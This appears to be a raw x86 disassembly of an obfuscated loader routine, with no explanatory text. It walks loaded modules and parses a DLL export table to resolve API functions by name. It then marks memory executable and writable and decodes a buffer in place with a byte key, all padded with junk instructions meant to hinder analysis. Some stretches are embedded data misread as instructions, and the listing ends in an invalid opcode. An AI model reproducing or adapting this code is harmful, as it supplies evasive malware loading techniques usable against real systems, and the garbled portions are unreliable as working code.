mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd8], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ebx
sub ebx, 0x117e
pop ebx
push ecx
push ebx
add esp, 4
add ecx, 0x16713
and ecx, 0x26fd
sub ecx, 0x7568
pop ecx
push esi
push esi
add esp, 4
or esi, 0x11cdd
sub esi, 0x12c64
pop esi
mov edx, dword [ebp - 0xcd8]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xcd8]
add ecx, 2
mov dword [ebp - 0xcd8], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x224], dx
mov eax, dword [ebp - 0xcdc]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcdc]
add edx, 2
mov dword [ebp - 0xcdc], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x40], ax
push edi
and edi, 0x14339
call 0x41fc8a
add byte [ebp + 0x33], al
dec ebp
inc esi
inc ebx
inc ebp
push eax
add esp, 4
pop edi
push eax
sub eax, 0x11d4
add eax, 0x138ec
xor eax, 0x96df
sub eax, 0x100e3
pop eax
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x41fcc5
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x1684], edx
jmp 0x41fd1f
movzx ecx, word [ebp - 0x224]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x41fbed
movzx eax, word [ebp - 0x224]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x41fbed
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x41fd09
mov dword [ebp - 0x1680], 0xffffffff
jmp 0x41fd13
mov dword [ebp - 0x1680], 1
mov ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x1684], ecx
cmp dword [ebp - 0x1684], 0
jne 0x41fd68
push edi
and edi, 0xa399
pop edi
push edi
push esi
add esp, 4
and edi, 0xabba
add edi, 0xe939
add edi, 0x12dd
call 0x41fd56
add byte [ebx], dh
inc esi
inc ecx
inc eax
inc ebx
inc ecx
push eax
dec ecx
push eax
add esp, 4
pop edi
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x2fc], edx
jmp 0x41fdd0
push esi
push esi
add esp, 4
or esi, 0xc148
add esi, 0xb5af
pop esi
push edi
add edi, 0xe7b2
and edi, 0xebc8
call 0x41fd96
add byte [eax], bh
cmp byte [eax + 0x34], al
inc esp
dec edi
cmp eax, 0xc4834134
add al, 0x5f
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xce0]
je 0x41fdc6
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x41fb91
mov dword [ebp - 0x2fc], 0
push edx
and edx, 0xbf18
pop edx
push edx
push esi
add esp, 4
add edx, 0x16ffd
xor edx, 0xa33e
pop edx
push ecx
push ebx
add esp, 4
or ecx, 0x13311
and ecx, 0x16168
and ecx, 0x9089
pop ecx
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push ebx
push ecx
add esp, 4
xor ebx, 0x115bc
add ebx, 0x17bf6
pop ebx
push ebx
push esi
add esp, 4
xor ebx, 0xd0bb
pop ebx
push eax
or eax, 0x1638d
pop eax
push eax
push edx
add esp, 4
or eax, 0xff7a
pop eax
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0x1688], 0
jne 0x41fe73
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x420164
mov edx, dword [ebp - 0x1688]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x168c], eax
jne 0x41fe9b
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x420164
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x168c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1690], edx
cmp dword [ebp - 0x1690], 0
jne 0x41fecd
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
jmp 0x420164
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1690]
mov dword [ebp - 0x788], ecx
jne 0x41fef2
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x420164
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19c4], ecx
mov edx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19cc], edx
mov dword [ebp - 0x78c], 0
jmp 0x41ff4c
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x420158
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c4]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19cc]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19d0], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x41ffbc
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x42006e
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
test eax, eax
je 0x42006e
push edi
xor edi, 0x1779c
xor edi, 0x18369
or edi, 0xc5d1
sub edi, 0x15edc
pop edi
push edx
push esi
add esp, 4
xor edx, 0x68be
sub edx, 0xe15e
add edx, 0x7f68
pop edx
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
cmp edx, ecx
je 0x420060
mov edx, dword [ebp - 0x790]
add edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a4]
movsx edx, byte [ebp + ecx - 0x9d4]
cmp eax, edx
jne 0x420067
jmp 0x41ffad
jmp 0x42006e
push esi
add esi, 0x2a85
pop esi
push edi
push ecx
add esp, 4
sub edi, 0x147b1
and edi, 0xb80
pop edi
push edi
push esi
add esp, 4
sub edi, 0x1722f
or edi, 0x138ed
xor edi, 0x1fdf
pop edi
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
cmp ecx, eax
jne 0x4200cd
mov dword [ebp - 0xce4], 0
jmp 0x42013c
push edx
sub edx, 0x14c05
sub edx, 0xb7c8
pop edx
push edx
push edi
add esp, 4
and edx, 0x5b3a
add edx, 0x34ab
add edx, 0xab6c
pop edx
push edi
push ecx
add esp, 4
xor edi, 0xa3be
pop edi
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
or ecx, 0x20
cmp edx, ecx
jge 0x420132
mov dword [ebp - 0xce4], 0xffffffff
jmp 0x42013c
mov dword [ebp - 0xce4], 1
cmp dword [ebp - 0xce4], 0
jne 0x420153
mov edx, dword [ebp - 0x19d0]
mov dword [ebp - 0x520], edx
jmp 0x420164
jmp 0x41ff3d
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
mov dword [ebp - 0xab4], ecx
push ebx
push ecx
add esp, 4
call 0x420181
add byte [esi], dh
dec esi
dec ebx
cmp eax, 0xc4833445
add al, 0xeb
push es
dec edx
dec ebp
cmp eax, 0xe8343532
pop es
add byte [eax], al
add byte [eax], al
aaa
xor ecx, dword [ecx + 0x32]
inc ebx
add esp, 4
xor ebx, 0xc10f
pop ebx
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19d4], edx
lea eax, [ebp - 0xce8]
push eax
push 0x40
mov ecx, dword [ebp - 0x1694]
push ecx
mov edx, dword [ebp - 0x3e8]
push edx
call dword [ebp - 0x19d4]
test eax, eax
jne 0x420215
push ebx
call 0x4201dd
add byte [edi], dh
xor edx, dword [eax + 0x34]
xor eax, 0xc483483d
add al, 0x5b
push edi
push esi
add esp, 4
or edi, 0x13986
and edi, 0x142e3
sub edi, 0x13aea
pop edi
push ecx
xor ecx, 0xdb36
pop ecx
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x19d8], eax
push 0
call dword [ebp - 0x19d8]
mov ecx, dword [ebp - 0x19dc]
mov dword [ebp - 0x798], ecx
jmp 0x420232
mov edx, dword [ebp - 0x798]
add edx, 1
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x798]
cmp eax, dword [ebp - 0xab8]
jae 0x42028e
push esi
push edi
add esp, 4
sub esi, 0x14e91
pop esi
push ecx
push esi
add esp, 4
add ecx, 0x1786d
and ecx, 0x15c33
add ecx, 0x180b1
sub ecx, 0x18376
pop ecx
push esi
sub esi, 0x17805
pop esi
movzx ecx, byte [ebp - 0x3ae]
mov edx, dword [ebp - 0x798]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x798]
mov byte [ecx], al
jmp 0x420223
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19e0], edx
lea eax, [ebp - 0xce8]
push eax
mov ecx, dword [ebp - 0xce8]
push ecx
mov edx, dword [ebp - 0x1694]
push edx
mov eax, dword [ebp - 0x3e8]
push eax
call dword [ebp - 0x19e0]
test eax, eax
jne 0x420306
push eax
sub eax, 0xab6
jmp 0x4202d0
xor eax, 0xa33b
sub eax, 0x46d8
pop eax
push eax
and eax, 0xc141
or eax, 0xc7d3
jmp 0x4202f1
pop eax
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x19e4], ecx
push 0
call dword [ebp - 0x19e4]
push ecx
push edi
add esp, 4
xor ecx, 0x7167
pop ecx
push esi
add esi, 0xa63
or esi, 0x17e0f
or esi, 0x2294
jmp 0x42032b
pop esi
push edx
push esi
add esp, 4
xor edx, 0x11fa0
pop edx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff05ff
pop ecx
pop eax
pop ebx
mov cl, cl
or dword [esi + 0x54e68c8], eax
add eax, 0xee865660
invalid